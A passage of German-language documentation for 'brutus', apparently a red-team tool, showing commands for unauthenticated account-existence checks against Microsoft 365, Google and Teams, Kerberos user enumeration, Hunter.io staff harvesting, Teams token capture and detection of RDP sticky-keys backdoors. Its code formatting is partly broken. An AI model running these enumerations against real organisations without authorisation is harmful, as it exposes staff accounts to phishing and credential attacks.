Der Unterbefehl `enum` ermittelt, welche Kontoexistenz-Orakel für eine Organisation funktionieren (und zählt E-Mails gegen diese auf) oder zählt Active Directory-Benutzer auf, alles ohne Passwörter zu senden.

### Kontoexistenz-Orakel-Enumeration

Identifizieren Sie, welche nicht authentifizierten Kontoexistenz-Orakel (microsoft365, google, github, plus das Microsoft Teams-Orakel) für eine Organisation funktionieren, validieren Sie sie anhand eines bekannten gültigen Benutzers, und zählen Sie dann Kandidaten-E-Mails gegen die funktionierenden Orakel auf. DNS-TXT-Recon deckt die Kandidaten-Orakel auf; die Validierung gegen `--known-valid` ist das Highlight. `--known-valid` ist erforderlich, und die Enumeration läuft nur gegen die Orakel, die es bestätigen:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]

# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]

# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]

# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]

# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]

Kerberos User Enumeration

Ermitteln Sie Active Directory-Benutzernamen über Kerberos AS-REQ (keine Passwörter gesendet, kein Sperrrisiko):```bash

Enumerate specific users

brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

Enumerate from file

brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

Generate usernames and pipe to Kerberos enum

brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

### Email/Username Generation

E-Mail-Adressen oder Benutzernamen aus eingebetteten Wortlisten mit Vor-/Nachnamen generieren:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast

# Generate usernames only (no domain): jsmith
brutus enum generate --format flast

# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last

Entdecken Sie Personen (E-Mail, Name, Berufsbezeichnung, Telefon, Abteilung, Seniorität, Konfidenz), die mit einer Domain über die Hunter.io Domain Search API verknüpft sind. Paginiert automatisch, bis alle Ergebnisse abgerufen sind.```bash

Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

export HUNTER_API_KEY=your_key_here

Discover people for a domain

brutus enum hunter --domain example.com

Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

brutus enum hunter --domain example.com --api-key your_key_here

JSONL output to file (one record per person, with type:"hunter" discriminator)

brutus enum hunter --domain example.com --output people.jsonl

Adjust pagination page size (default: 100)

brutus enum hunter --domain example.com --limit 50

---

### Microsoft Teams / Entra ID Authentifizierung

Erhalten Sie ein OAuth2-Zugriffstoken, ein Aktualisierungstoken und ein ID-Token von Microsoft Entra ID (Azure AD) unter Verwendung des [device code flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Die resultierenden Token können für Microsoft Graph-API-Aufrufe, Teams-Enumeration und Auditing über Tools wie [ROADtools](https://github.com/dirkjanm/ROADtools) oder benutzerdefinierte Graph-Abfragen verwendet werden.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth

# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000

# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"

# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000

# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json

So funktioniert es:

  1. Brutus fordert einen Gerätecode von login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode an.
  2. Ein kurzer Code und eine URL werden angezeigt – öffnen Sie die URL in einem beliebigen Browser und geben Sie den Code ein.
  3. Brutus fragt ab, bis Sie die Anmeldung abschließen, der Code abläuft oder Sie Ctrl+C drücken.
  4. Bei Erfolg werden das Zugriffstoken, das Aktualisierungstoken und das ID-Token ausgegeben.

Human output zeigt nur die ersten 20 Zeichen des Zugriffstokens (ausreichend für die Überprüfung). Verwenden Sie --json oder -o, um die vollständigen Token-Werte zu erfassen.

Standard-Client-ID: Die Microsoft Teams Desktopanwendung (1fec8e78-bce4-4aaf-ab1b-5451cc387264), ein First-Party-Public-Client, der den Gerätecode-Fluss unterstützt. Überschreiben Sie mit --client-id, um Ihre eigene App-Registrierung zu verwenden.``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

[*] Waiting for you to complete sign-in...

[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

#### Teams-Benutzerenumeration

Sobald authentifiziert, enumerieren Sie Unternehmens-Teams-Benutzer anhand der E-Mail-Adresse. Jedes Ergebnis ist `exists`, `blocked` (der Mandant verbietet externe Suche, aber der Benutzer könnte existieren), `not found` oder `unknown` (Authentifizierungs-/Transportfehler). Persönliche/Live-Konten werden nicht unterstützt — nur Unternehmensmandanten.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]

# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000

# Enumerate emails from a file
brutus enum active teams users -E emails.txt

# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080

# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"

Wenn ein Refresh-Token verfügbar ist (über --token-file oder --refresh-token), wird ein abgelaufener Access-Token automatisch einmal verlängert; ansonsten wird ein 401 elegant zu einem unknown-Ergebnis herabgestuft.


Google Workspace-Konten-Enumeration

Überprüfen Sie, ob E-Mail-Adressen Google-Konten zugeordnet sind, indem Sie zwei nicht authentifizierte Orakel verwenden — es ist kein Token oder Anmelden erforderlich:

  • AccountChooser SSO redirect — zeigt Workspace-Konten auf Domänen an, die für Single Sign-On konfiguriert sind, sowie den Host des Identitätsanbieters (IdP), an den sie weiterleiten (workspace-sso).
  • GXLU Gmail probe — zeigt Gmail-fähige Konten an (gmail).

Jedes Ergebnis ist exists (mit der bestätigenden Methode und, bei SSO, dem IdP-Host) oder not found.```bash

Enumerate a couple of emails

brutus enum active google -e [email protected],[email protected]

Generate candidate emails for a domain and enumerate the most-likely 5000

brutus enum active google --domain target.com --format first.last --limit 5000

Enumerate emails from a file

brutus enum active google -E emails.txt

Route through a SOCKS5 proxy and raise concurrency

brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

`--domain` verwendet denselben frequenzbasierten Generator für Vor- und Nachnamen wie
`enum generate`; `--format` wählt das Benutzernamen-Layout aus und `--limit` begrenzt
die Generierung auf die ersten N (wahrscheinlichsten) Kandidaten. `--domain` kann mit
`-e`/`-E` kombiniert werden.

---

## Bekannte Einschränkungen

### Heuristische Erkennung der Feststelltaste

- **Wechselnde Fehlalarme:** Die rein heuristische Erkennung (`brutus logon` ohne `--experimental-ai`) kann bei wiederholten Scans gegen dasselbe Ziel falsch-negative Ergebnisse liefern. Nach einer erfolgreichen Erkennung bleibt das cmd.exe-Fenster auf dem Server geöffnet. Nachfolgende Verbindungen sehen das cmd.exe im Basisrahmen, und da das fünfmalige Senden von Umschalt keine neues Fenster erzeugt, ist der Pixelunterschied minimal – was zu einem „sauberen“ Urteil führt. Dies betrifft nicht den Modus `--experimental-ai`, der die Vision-API-Analyse des Antwortrahmens direkt nutzt (kein Differenz zwischen Basis und Antwort) und das Terminalfenster unabhängig vom vorherigen Zustand zuverlässig identifiziert.
- **Workaround:** Verwenden Sie `--experimental-ai` mit gesetzter `ANTHROPIC_API_KEY` für eine konsistente Erkennung bei wiederholten Scans, oder lassen Sie zwischen den Scans eine Abkühlphase zu, damit die RDP-Sitzung zurückgesetzt wird.

### Browser-Plug-in

- Erfordert lokal installiertes Chrome/Chromium
- Der headless-Modus funktioniert möglicherweise nicht auf allen Systemen
- Einige JavaScript-lastige Anmeldeseiten erfordern möglicherweise zusätzliche Wartezeit

Kategorien